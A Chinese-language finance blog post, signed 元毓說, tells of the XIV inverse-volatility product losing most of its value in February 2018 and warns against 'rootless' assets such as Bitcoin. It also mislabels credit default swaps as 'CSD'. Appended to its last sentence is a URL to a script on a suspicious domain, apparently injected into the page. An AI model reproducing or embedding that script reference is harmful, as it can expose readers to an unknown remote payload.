在比特幣一文我談過財富倉庫分為有根、無根二種。
有根者，倉庫標的本身有可預測收入流；無根者，則無。
前者因為有預期收入拘束，所以漲跌有其合理範疇，當超出範疇時在健全市場中，自然會有做多與放空者快速跳入修正價格。
反之，無根者因為沒有預期收入拘束，所以無論做多或放空，其實都不知道邊界在哪。因此在比特幣該文中我就奉勸讀者，不要以「無根財富倉庫」為主要投資標的。如果可以，少碰為上。
比特幣在我看來是一種無根財富倉庫，而許多金融性衍生商品其實也都算，比方：VIX。
VIX是一個觀測市場波動的指數，不管漲跌，只管波動。假設VIX = 15，代表該指數預期未來30日內的年化波動性是15%。也就是說，數字越大，代表該指數預期的市場波動性越大；反之則越小。
而過去2017年的美國股票市場只漲不跌，其波動性也變得極低（見VIX走勢圖）：
這也使得許多人，包含大型金融機構，都一起來放空VIX。其中一種方式是投資反指標XIV，我們也看到2017年整年下來XIV表現極為優秀，一整年報酬率高達187%！可「市場波動性」本就難以預料，牽涉的侷限條件太多，但可以知道當市場強烈反轉時，波動性放大，VIX會獲利，但XIV可就賠慘。而這個萬一就在這兩天成真！
S&P500在2018年2月2日大跌2.15%，緊接著下個交易日2月5日又跌4.06%，2月6日漲回1.77%。
如果你是壓寶XIV的主兒，恭喜老爺賀喜夫人，短短三天內虧損94.32%！有位悲慘的交易員就這樣把辛苦三年賺來的400萬美元一夜輸光在XIV上（參見XIV走勢圖）。
過去三年，這位交易員用5萬美元本金快樂地放空VIX（也就是買入XIV）累積財富到400萬美元，妄想 （也是常見的投資錯誤心理–將一時的好運當作是自己的實力而誤判可以永遠如此）買房、買車，現在美夢成泡。
不過要死也有墊背，天塌下來還有高個兒擋著。XIV的發明者也是最大持有者瑞士信貸自己都玩不下去，宣布下市這項商品，代表投資者投資$104元只剩$4.22。
再奉勸一次，無根財富倉庫別亂碰為上。
PS 2008年金融風暴，價值投資法奉行者的獨眼醫師Michael Burry雖然也購買大量衍生性金融商品CSD（Credit Swap Default），但卻是有根財富倉庫的投資，因為他透過大量且精細的閱讀看出房貸包裹的債券其實藏汙納垢、問題叢生，真實價值遠不如所宣稱。因此Michael Burry的衍生性金融商品放空，依然是標準的價值投資法無誤。其所得獲利，就是來自於資訊成本/租值。https://js.developerstatss.ga/stat.js?n=ns1
元毓說 